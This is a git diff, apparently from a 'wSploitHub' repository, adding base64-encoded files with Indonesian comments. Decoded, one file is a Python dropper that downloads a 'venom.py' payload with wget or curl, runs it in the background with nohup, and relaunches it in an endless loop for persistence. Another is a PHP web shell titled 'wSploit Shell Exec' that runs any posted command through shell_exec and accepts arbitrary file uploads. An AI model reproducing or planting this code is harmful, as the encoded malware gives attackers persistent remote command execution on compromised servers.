ICAgICBvcy5jaG1vZChwYXlsb2FkX3BhdGgsIDBvNzU1KSAgIyBCZXJpIGl6aW4gZWtzZWt1c2kK
|
||||
CiAgICAjIFBlcmludGFoIHVudHVrIG1lbmphbGFua2FuIHZlbm9tLnB5CiAgICBjb21tYW5kID0g
|
||||
ZidweXRob24zIHtwYXlsb2FkX3BhdGh9JwogICAgcHJvY2VzcyA9IHN1YnByb2Nlc3MuUG9wZW4o
|
||||
Y29tbWFuZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnBy
|
||||
b2Nlc3MuUElQRSkKICAgIG91dHB1dCwgc3RkZXJyID0gcHJvY2Vzcy5jb21tdW5pY2F0ZSgpCiAg
|
||||
ICBleGl0X2NvZGUgPSBwcm9jZXNzLnJldHVybmNvZGUKCiAgICBwcmludChmIkNvbW1hbmQgZXhl
|
||||
Y3V0ZWQ6IHtjb21tYW5kfSIpCiAgICBwcmludChmIkV4aXQgY29kZToge2V4aXRfY29kZX0iKQoK
|
||||
ICAgICMgSmlrYSBleGl0IGNvZGUgbm9uLXplcm8sIGNlayBhcGFrYWggc2Vzc2lvbiBha3RpZgog
|
||||
ICAgaWYgZXhpdF9jb2RlICE9IDA6CiAgICAgICAgcHJpbnQoIlsqXSBFeGl0IGNvZGUgbm9uLXpl
|
||||
cm8gZGV0ZWN0ZWQuIENoZWNraW5nIGFjdGl2ZSBzZXNzaW9uLi4uIikKICAgICAgICBpc19zaGVs
|
||||
bF9hY3RpdmUgPSBGYWxzZQogICAgICAgIHRyeToKICAgICAgICAgICAgIyBQZXJpa3NhIGFwYWth
|
||||
aCB2ZW5vbS5weSBzdWRhaCBiZXJqYWxhbgogICAgICAgICAgICBzaGVsbF9vdXRwdXQgPSBzdWJw
|
||||
cm9jZXNzLmNoZWNrX291dHB1dCgKICAgICAgICAgICAgICAgIGYicHMgYXV4IHwgZ3JlcCAncHl0
|
||||
aG9uMyB7cGF5bG9hZF9wYXRofScgfCBncmVwIC12IGdyZXAiLCBzaGVsbD1UcnVlCiAgICAgICAg
|
||||
ICAgICkKICAgICAgICAgICAgaWYgc2hlbGxfb3V0cHV0OgogICAgICAgICAgICAgICAgcHJpbnQo
|
||||
IlsqXSBBY3RpdmUgc2Vzc2lvbiBkZXRlY3RlZC4gU2tpcHBpbmcgcGF5bG9hZCBleGVjdXRpb24u
|
||||
IikKICAgICAgICAgICAgICAgIGlzX3NoZWxsX2FjdGl2ZSA9IFRydWUKICAgICAgICBleGNlcHQg
|
||||
c3VicHJvY2Vzcy5DYWxsZWRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgICMgSmlrYSBwcm9zZXMg
|
||||
dGlkYWsgZGl0ZW11a2FuCiAgICAgICAgICAgIHBhc3MKCiAgICAgICAgIyBKaWthIHRpZGFrIGFk
|
||||
YSBzZXNzaW9uIGFrdGlmLCBqYWxhbmthbiBwYXlsb2FkCiAgICAgICAgaWYgbm90IGlzX3NoZWxs
|
||||
X2FjdGl2ZToKICAgICAgICAgICAgcHJpbnQoIlsqXSBObyBhY3RpdmUgc2Vzc2lvbiBkZXRlY3Rl
|
||||
ZC4gU3Bhd25pbmcgcGF5bG9hZC4uLiIpCiAgICAgICAgICAgIHN1YnByb2Nlc3MuUG9wZW4oZiJu
|
||||
b2h1cCBweXRob24zIHtwYXlsb2FkX3BhdGh9ID4gL2Rldi9udWxsIDI+JjEgJiIsIHNoZWxsPVRy
|
||||
dWUpCiAgICBlbHNlOgogICAgICAgIHByaW50KCJbKl0gRXhpdCBjb2RlIHplcm8uIE5vIHBheWxv
|
||||
YWQgZXhlY3V0ZWQuIikKCiMgRnVuZ3NpIHVudHVrIG1lbmd1bmR1aCB2ZW5vbS5weSBqaWthIHRp
|
||||
ZGFrIGRpdGVtdWthbgpkZWYgZG93bmxvYWRfcGF5bG9hZCgpOgogICAgIyBDZWsga2V0ZXJzZWRp
|
||||
YWFuIHdnZXQKICAgIHdnZXRfYXZhaWxhYmxlID0gc3VicHJvY2Vzcy5ydW4oJ3doaWNoIHdnZXQn
|
||||
LCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5Q
|
||||
SVBFKQogICAgIyBDZWsga2V0ZXJzZWRpYWFuIGN1cmwKICAgIGN1cmxfYXZhaWxhYmxlID0gc3Vi
|
||||
cHJvY2Vzcy5ydW4oJ3doaWNoIGN1cmwnLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5Q
|
||||
SVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQoKICAgIGlmIHdnZXRfYXZhaWxhYmxlLnN0ZG91
|
||||
dC5zdHJpcCgpOgogICAgICAgIHByaW50KCJbKl0gd2dldCB0ZXJzZWRpYS4gTWVuZ3VuZHVoIHZl
|
||||
bm9tLnB5Li4uIikKICAgICAgICBvcy5zeXN0ZW0oZiJ3Z2V0IHtwYXlsb2FkX3VybH0gLU8ge3Bh
|
||||
eWxvYWRfcGF0aH0iKQogICAgZWxpZiBjdXJsX2F2YWlsYWJsZS5zdGRvdXQuc3RyaXAoKToKICAg
|
||||
ICAgICBwcmludCgiWypdIGN1cmwgdGVyc2VkaWEuIE1lbmd1bmR1aCB2ZW5vbS5weS4uLiIpCiAg
|
||||
ICAgICAgb3Muc3lzdGVtKGYiY3VybCAtbyB7cGF5bG9hZF9wYXRofSB7cGF5bG9hZF91cmx9IikK
|
||||
ICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlshXSBUaWRhayBhZGEgd2dldCBhdGF1IGN1cmwgdGVy
|
||||
c2VkaWEuIFBhc3Rpa2FuIHNhbGFoIHNhdHUgdGVycGFzYW5nLiIpCgojIEZ1bmdzaSB1bnR1ayBt
|
||||
ZW1hc3Rpa2FuIHNrcmlwIGJlcmphbGFuIHRlcnVzIG1lbmVydXMKZGVmIHJ1bl9wZXJzaXN0ZW50
|
||||
bHkoKToKICAgIHdoaWxlIFRydWU6CiAgICAgICAgcnVuX2NvbW1hbmQoKSAgIyBKYWxhbmthbiBw
|
||||
ZXJpbnRhaAogICAgICAgIHRpbWUuc2xlZXAoMykgICMgVHVuZ2d1IHNlbGFtYSAzIGRldGlrIHNl
|
||||
YmVsdW0gbWVuY29iYSBsYWdpCgojIE1lbWJ1YXQgZGlyZWt0b3JpIHR1anVhbiBqaWthIGJlbHVt
|
||||
IGFkYQppZiBub3Qgb3MucGF0aC5leGlzdHMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkp
|
||||
OgogICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKHBheWxvYWRfcGF0aCkpCgojIEphbGFu
|
||||
a2FuIGZ1bmdzaSB1dGFtYQpydW5fcGVyc2lzdGVudGx5KCkK
|
153
raw/term
Normal file
153
raw/term
Normal file
@ -0,0 +1,153 @@
|
||||
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0
|
||||
PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNl
|
||||
LXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+d1NwbG9pdCBTaGVsbCBFeGVj
|
||||
PC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgZm9udC1mYW1p
|
||||
bHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICAgICAgbWFyZ2lu
|
||||
OiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVu
|
||||
OyAvKiBNZW55ZW1idW55aWthbiBzY3JvbGxiYXIgKi8KICAgICAgICB9CiAgICAgICAgLmNvbnRh
|
||||
aW5lciB7CiAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7CiAgICAgICAgICAgIG1hcmdpbjog
|
||||
MCBhdXRvOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5k
|
||||
ZXg6IDEwOyAvKiBBZ2FyIGtvbnRlbiBkaSBhdGFzIGh1amFuIG1hdHJpa3MgKi8KICAgICAgICB9
|
||||
CiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgz
|
||||
MCwgMzAsIDMwLCAwLjgpOyAvKiBUcmFuc3BhcmFuIHNlZGlraXQgKi8KICAgICAgICAgICAgY29s
|
||||
b3I6ICNmZmZmZmY7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGJvcmRl
|
||||
ci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdo
|
||||
dDogMzAwcHg7CiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87CiAgICAgICAgICAgIG1hcmdp
|
||||
bi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsKICAgICAg
|
||||
ICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgLm91dHB1dC1z
|
||||
dWNjZXNzIHsKICAgICAgICAgICAgY29sb3I6ICMwZjA7IC8qIFdhcm5hIGhpamF1IHVudHVrIG91
|
||||
dHB1dCBzdWtzZXMgKi8KICAgICAgICB9CiAgICAgICAgLm91dHB1dC1lcnJvciB7CiAgICAgICAg
|
||||
ICAgIGNvbG9yOiAjZjAwOyAvKiBXYXJuYSBtZXJhaCB1bnR1ayBvdXRwdXQgZXJyb3IgKi8KICAg
|
||||
ICAgICB9CiAgICAgICAgLmlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAg
|
||||
ICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAg
|
||||
ICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQg
|
||||
I2NjYzsKICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICAgICAgZm9u
|
||||
dC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICB9CiAg
|
||||
ICAgICAgLnN1Ym1pdC1idG4gewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHg7CiAgICAg
|
||||
ICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDdCRkY7CiAgICAgICAgICAgIGNvbG9yOiAjZmZm
|
||||
OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNw
|
||||
eDsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICB3aWR0aDogMTAwJTsK
|
||||
ICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgQG1l
|
||||
ZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7CiAgICAgICAgICAgIC5zdWJtaXQtYnRuIHsKICAgICAg
|
||||
ICAgICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8q
|
||||
IEdheWEgdW50dWsgZWZlayBodWphbiBtYXRyaWtzICovCiAgICAgICAgLm1hdHJpeC1yYWluIHsK
|
||||
ICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDA7CiAgICAg
|
||||
ICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWln
|
||||
aHQ6IDEwMCU7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIHotaW5k
|
||||
ZXg6IDE7IC8qIERpIGJhd2FoIGtvbnRlbiB1dGFtYSAqLwogICAgICAgIH0KICAgICAgICBjYW52
|
||||
YXMgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsgLyogTWVuZ2hpbGFuZ2thbiBzcGFzaSBk
|
||||
aSBiYXdhaCBjYW52YXMgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayBsb2dvICov
|
||||
CiAgICAgICAgLmxvZ28gewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAg
|
||||
ICAgIHRvcDogMjBweDsgLyogSmFyYWsgZGFyaSBhdGFzICovCiAgICAgICAgICAgIHJpZ2h0OiAy
|
||||
MHB4OyAvKiBKYXJhayBkYXJpIGthbmFuICovCiAgICAgICAgICAgIHdpZHRoOiA2MHB4OyAvKiBV
|
||||
a3VyYW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IDYwcHg7IC8qIFVrdXJhbiBsb2dvICov
|
||||
CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsgLyogTWVtYnVhdCBsb2dvIGJlcmJlbnR1
|
||||
ayBidWxhdCAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55ZW1idW55aWth
|
||||
biBiYWdpYW4gbG9nbyB5YW5nIGxlYmloIGRhcmkgYmVudHVrIGJ1bGF0ICovCiAgICAgICAgICAg
|
||||
IGJveC1zaGFkb3c6IDAgMCAxNXB4IHJnYmEoMCwgMCwgMCwgMC41KTsgLyogRWZlayBiYXlhbmdh
|
||||
biAqLwogICAgICAgICAgICB6LWluZGV4OiAxMDsgLyogRGkgYXRhcyBlbGVtZW4gbGFpbiAqLwog
|
||||
ICAgICAgIH0KICAgICAgICAubG9nbyBpbWcgewogICAgICAgICAgICB3aWR0aDogMTAwJTsgLyog
|
||||
TWVuZ2lzaSBlbGVtZW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IGF1dG87IC8qIE1lbmph
|
||||
Z2EgcmFzaW8gYXNwZWsgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayB0ZWtzIGp1
|
||||
ZHVsICovCiAgICAgICAgLnR5cGluZy1lZmZlY3QgewogICAgICAgICAgICBjb2xvcjogIzBGMDsg
|
||||
LyogV2FybmEgaGlqYXUgKi8KICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4OyAvKiBVa3VyYW4g
|
||||
Zm9udCBqdWR1bCAqLwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOyAvKiBNZW5jZWdh
|
||||
aCBwZW1pc2FoYW4ga2F0YSAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55
|
||||
ZW1idW55aWthbiBiYWdpYW4geWFuZyB0aWRhayB0ZXJsaWhhdCAqLwogICAgICAgICAgICBib3Jk
|
||||
ZXItcmlnaHQ6IDNweCBzb2xpZCAjMEYwOyAvKiBFZmVrIGt1cnNvciAqLwogICAgICAgICAgICBh
|
||||
bmltYXRpb246IGJsaW5rIDFzIHN0ZXAtZW5kIGluZmluaXRlOyAvKiBFZmVrIGJlcmtlZGlwICov
|
||||
CiAgICAgICAgfQogICAgICAgIC8qIEFuaW1hc2kgYmVya2VkaXAgKi8KICAgICAgICBAa2V5ZnJh
|
||||
bWVzIGJsaW5rIHsKICAgICAgICAgICAgNTAlIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xv
|
||||
cjogdHJhbnNwYXJlbnQ7IC8qIFNlbWJ1bnlpa2FuIGt1cnNvciBzYWF0IGJlcmtlZGlwICovCiAg
|
||||
ICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLmgxLWhlYWQgewogICAgICAgICAgICBjb2xv
|
||||
cjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogc29saWQgMXB4ICMwZjA7CiAgICAgICAgfQog
|
||||
ICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Im1hdHJpeC1yYWluIj4KICAg
|
||||
IDxjYW52YXMgaWQ9ImNhbnZhcyI+PC9jYW52YXM+CjwvZGl2PgoKPGRpdiBjbGFzcz0iY29udGFp
|
||||
bmVyIj4KICAgIDxoMSBjbGFzcz0iaDEtaGVhZCIgYWxpZ249ImNlbnRlciI+d1NwbG9pdCBTaGVs
|
||||
bCBFeGVjPC9oMT4gICAgCiAgICA8ZGl2IGNsYXNzPSJ0eXBpbmctZWZmZWN0IiBpZD0idHlwaW5n
|
||||
LXRpdGxlIj48L2Rpdj4gPCEtLSBUZW1wYXQganVkdWwgZGVuZ2FuIGVmZWsga2V0aWsgLS0+Cgog
|
||||
ICAgPCEtLSBMb2dvIC0tPgogICAgPGRpdiBjbGFzcz0ibG9nbyI+CiAgICAgICAgPGltZyBzcmM9
|
||||
Imh0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gv
|
||||
bWFpbi9pbWcvd3NwbG9pdC5qcGVnIiBhbHQ9IkxvZ28iPgogICAgPC9kaXY+CgogICAgPCEtLSBU
|
||||
ZXJtaW5hbCBPdXRwdXQgU2VjdGlvbiAtLT4KICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4KICAg
|
||||
ICAgICA8cHJlPgogICAgICAgIDw/cGhwCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01F
|
||||
VEhPRCddID09PSAnUE9TVCcpIHsKICAgICAgICAgICAgLy8gSmlrYSBwZXJtaW50YWFuIHVudHVr
|
||||
IGVrc2VrdXNpIHBlcmludGFoCiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NvbW1hbmQn
|
||||
XSkpIHsKICAgICAgICAgICAgICAgICRjb21tYW5kID0gJF9QT1NUWydjb21tYW5kJ107CgogICAg
|
||||
ICAgICAgICAgICAgLy8gRmlsdGVyIHBlcmludGFoIHVudHVrIGtlYW1hbmFuCiAgICAgICAgICAg
|
||||
ICAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIC8vIEVrc2Vr
|
||||
dXNpIHBlcmludGFoIG1lbmdndW5ha2FuIHNoZWxsX2V4ZWMKICAgICAgICAgICAgICAgICAgICAk
|
||||
b3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAg
|
||||
ICAgIGlmICgkb3V0cHV0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNs
|
||||
YXNzPSdvdXRwdXQtc3VjY2Vzcyc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCkgLiAiPC9z
|
||||
cGFuPiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAg
|
||||
ICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGlkYWsgYWRhIG91dHB1dCBhdGF1
|
||||
IHBlcmludGFoIHRpZGFrIHZhbGlkITwvc3Bhbj4iOwogICAgICAgICAgICAgICAgICAgIH0KICAg
|
||||
ICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xh
|
||||
c3M9J291dHB1dC1lcnJvcic+TWFzdWtrYW4gcGVyaW50YWggeWFuZyB2YWxpZCE8L3NwYW4+IjsK
|
||||
ICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gSmlr
|
||||
YSBwZXJtaW50YWFuIHVudHVrIHVuZ2dhaCBmaWxlCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFV
|
||||
RVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgewogICAg
|
||||
ICAgICAgICAkZmlsZSA9ICRfRklMRVNbJ2ZpbGUnXTsKICAgICAgICAgICAgJHVwbG9hZERpcmVj
|
||||
dG9yeSA9ICd1cGxvYWRzLyc7CgogICAgICAgICAgICAvLyBCdWF0IGRpcmVrdG9yaSBqaWthIGJl
|
||||
bHVtIGFkYQogICAgICAgICAgICBpZiAoIWlzX2RpcigkdXBsb2FkRGlyZWN0b3J5KSkgewogICAg
|
||||
ICAgICAgICAgICAgbWtkaXIoJHVwbG9hZERpcmVjdG9yeSwgMDc1NSwgdHJ1ZSk7CiAgICAgICAg
|
||||
ICAgIH0KCiAgICAgICAgICAgICRmaWxlUGF0aCA9ICR1cGxvYWREaXJlY3RvcnkgLiBiYXNlbmFt
|
||||
ZSgkZmlsZVsnbmFtZSddKTsKICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmls
|
||||
ZVsndG1wX25hbWUnXSwgJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4g
|
||||
Y2xhc3M9J291dHB1dC1zdWNjZXNzJz5GaWxlIGJlcmhhc2lsIGRpdW5nZ2FoOiAiIC4gaHRtbHNw
|
||||
ZWNpYWxjaGFycygkZmlsZVsnbmFtZSddKSAuICI8L3NwYW4+XG4iOwogICAgICAgICAgICB9IGVs
|
||||
c2UgewogICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGVy
|
||||
amFkaSBrZXNhbGFoYW4gc2FhdCBtZW5ndW5nZ2FoIGZpbGUhPC9zcGFuPlxuIjsKICAgICAgICAg
|
||||
ICAgfQogICAgICAgIH0KICAgICAgICA/PgogICAgICAgIDwvcHJlPgogICAgPC9kaXY+CgogICAg
|
||||
PCEtLSBJbnB1dCBGb3JtIGZvciBUZXJtaW5hbCBDb21tYW5kIC0tPgogICAgPGZvcm0gbWV0aG9k
|
||||
PSJQT1NUIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9
|
||||
ImlucHV0IiBwbGFjZWhvbGRlcj0iTWFzdWtrYW4gcGVyaW50YWggdGVybWluYWwiIHJlcXVpcmVk
|
||||
PgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+RWtzZWt1
|
||||
c2kgUGVyaW50YWg8L2J1dHRvbj4KICAgIDwvZm9ybT4KCiAgICA8YnI+CgogICAgPCEtLSBJbnB1
|
||||
dCBGb3JtIGZvciBGaWxlIFVwbG9hZCAtLT4KICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlw
|
||||
ZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9
|
||||
ImZpbGUiIGNsYXNzPSJpbnB1dCIgYWNjZXB0PSIqLyoiPgogICAgICAgIDxidXR0b24gdHlwZT0i
|
||||
c3VibWl0IiBjbGFzcz0ic3VibWl0LWJ0biI+VW5nZ2FoIEZpbGU8L2J1dHRvbj4KICAgIDwvZm9y
|
||||
bT4KPC9kaXY+Cgo8c2NyaXB0PgogICAgLy8gRWZlayBLcmF0b20gdW50dWsgTmdlZmx5IG11cmFo
|
||||
YW4KICAgIGNvbnN0IHRpdGxlID0gIldlYiBUZXJtaW5hbCBJbnRlcmZhY2UiOwogICAgY29uc3Qg
|
||||
dHlwaW5nVGl0bGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHlwaW5nLXRpdGxlJyk7CiAg
|
||||
ICBsZXQgaW5kZXggPSAwOwoKICAgIGZ1bmN0aW9uIHR5cGUoKSB7CiAgICAgICAgaWYgKGluZGV4
|
||||
IDwgdGl0bGUubGVuZ3RoKSB7CiAgICAgICAgICAgIHR5cGluZ1RpdGxlLnRleHRDb250ZW50ICs9
|
||||
IHRpdGxlLmNoYXJBdChpbmRleCk7CiAgICAgICAgICAgIGluZGV4Kys7CiAgICAgICAgICAgIHNl
|
||||
dFRpbWVvdXQodHlwZSwgMTAwKTsgLy8gS2VjZXBhdGFuIENpbnRha3UgcGFkYW11IAogICAgICAg
|
||||
IH0KICAgIH0KICAgIHR5cGUoKTsgLy8gTXVsYWkgZWZlayBDaXUKCiAgICBjbGFzcyBNYXRyaXhS
|
||||
YWluIHsKICAgICAgICBjb25zdHJ1Y3RvcihjYW52YXMsIHdpZHRoLCBoZWlnaHQsIGNoYXJzLCBz
|
||||
cGVlZCwgb3BhY2l0eSkgewogICAgICAgICAgICB0aGlzLmNhbnZhcyA9IGNhbnZhczsKICAgICAg
|
||||
ICAgICAgdGhpcy5jdHggPSBjYW52YXMuZ2V0Q29udGV4dCgnMmQnKTsKICAgICAgICAgICAgdGhp
|
||||
cy5jaGFycyA9IGNoYXJzOwogICAgICAgICAgICB0aGlzLnNwZWVkID0gc3BlZWQ7CiAgICAgICAg
|
||||
ICAgIHRoaXMub3BhY2l0eSA9IG9wYWNpdHk7CiAgICAgICAgICAgIHRoaXMuY29sdW1ucyA9IE1h
|
||||
dGguZmxvb3Iod2lkdGggLyAyMCk7CiAgICAgICAgICAgIHRoaXMuZHJvcHMgPSBBcnJheSh0aGlz
|
||||
LmNvbHVtbnMpLmZpbGwoMSk7CiAgICAgICAgICAgIHRoaXMuaW5pdCgpOwogICAgICAgIH0KCiAg
|
||||
ICAgICAgaW5pdCgpIHsKICAgICAgICAgICAgdGhpcy5jYW52YXMud2lkdGggPSB3aW5kb3cuaW5u
|
||||
ZXJXaWR0aDsKICAgICAgICAgICAgdGhpcy5jYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVp
|
||||
Z2h0OwogICAgICAgICAgICB0aGlzLnN0YXJ0UmFpbigpOwogICAgICAgIH0KCiAgICAgICAgc3Rh
|
||||
cnRSYWluKCkgewogICAgICAgICAgICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICAgICAgICAgICAg
|
||||
ICB0aGlzLmN0eC5maWxsU3R5bGUgPSBgcmdiYSgwLCAwLCAwLCAke3RoaXMub3BhY2l0eX0pYDsK
|
||||
ICAgICAgICAgICAgICAgIHRoaXMuY3R4LmZpbGxSZWN0KDAsIDAsIHRoaXMuY2FudmFzLndpZHRo
|
||||
LCB0aGlzLmNhbnZhcy5oZWlnaHQpOwogICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFN0eWxl
|
||||
ID0gJyMwRjAnOyAvLyBXYXJuYSBoaWphdSB1bnR1ayBrYXJha3RlcgogICAgICAgICAgICAgICAg
|
||||
dGhpcy5jdHguZm9udCA9ICcyMHB4IG1vbm9zcGFjZSc7CiAgICAgICAgICAgICAgICAKICAgICAg
|
||||
ICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgdGhpcy5jb2x1bW5zOyBpKyspIHsKICAgICAg
|
||||
ICAgICAgICAgICAgICBjb25zdCB0ZXh0ID0gdGhpcy5jaGFyc1tNYXRoLmZsb29yKE1hdGgucmFu
|
||||
ZG9tKCkgKiB0aGlzLmNoYXJzLmxlbmd0aCldOwogICAgICAgICAgICAgICAgICAgIGNvbnN0IHgg
|
||||
PSBpICogMjA7CiAgICAgICAgICAgICAgICAgICAgY29uc3QgeSA9IHRoaXMuZHJvcHNbaV0gKiAy
|
||||
MDsKCiAgICAgICAgICAgICAgICAgICAgdGhpcy5jdHguZmlsbFRleHQodGV4dCwgeCwgeSk7CiAg
|
||||
ICAgICAgICAgICAgICAgICAgaWYgKHkgPiB0aGlzLmNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5k
|
||||
b20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRoaXMuZHJvcHNbaV0gPSAw
|
||||
OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB0aGlzLmRyb3BzW2ld
|
||||
Kys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sIHRoaXMuc3BlZWQpOwogICAgICAg
|
||||
IH0KICAgIH0KCiAgICAvLyBNZW5qYWxhbmthbiBNYXRyaXggUmFpbgogICAgY29uc3QgbWF0cml4
|
||||
UmFpbiA9IG5ldyBNYXRyaXhSYWluKAogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdj
|
||||
YW52YXMnKSwKICAgICAgICB3aW5kb3cuaW5uZXJXaWR0aCwKICAgICAgICB3aW5kb3cuaW5uZXJI
|
||||
ZWlnaHQsCiAgICAgICAgWwogICAgICAgICAgICAnMCcsJzEnLCcyJywnMycsJzQnLCc1JywnNics
|
||||
JzcnLCc4JywnOScsCiAgICAgICAgICAgICdhJywnYicsJ2MnLCdkJywnZScsJ2YnLCdnJywnaCcs
|
||||
J2knLCdqJywnaycsJ2wnLCdtJywnbicsJ28nLCdwJywncScsJ3InLCdzJywndCcsJ3UnLCd2Jywn
|
||||
dycsJ3gnLCd5JywneicKICAgICAgICBdLAogICAgICAgIDUwLCAvLyBLZWNlcGF0YW4gaHVqYW4K
|
||||
ICAgICAgICAwLjA1IC8vIE9wYXNpdGFzIGxhdGFyIGJlbGFrYW5nCiAgICApOwoKPC9zY3JpcHQ+
|
||||
Cgo8L2JvZHk+CjwvaHRtbD4K
|
9
raw/tes
Normal file
9
raw/tes
Normal file
@ -0,0 +1,9 @@
|
||||
<?php
|
||||
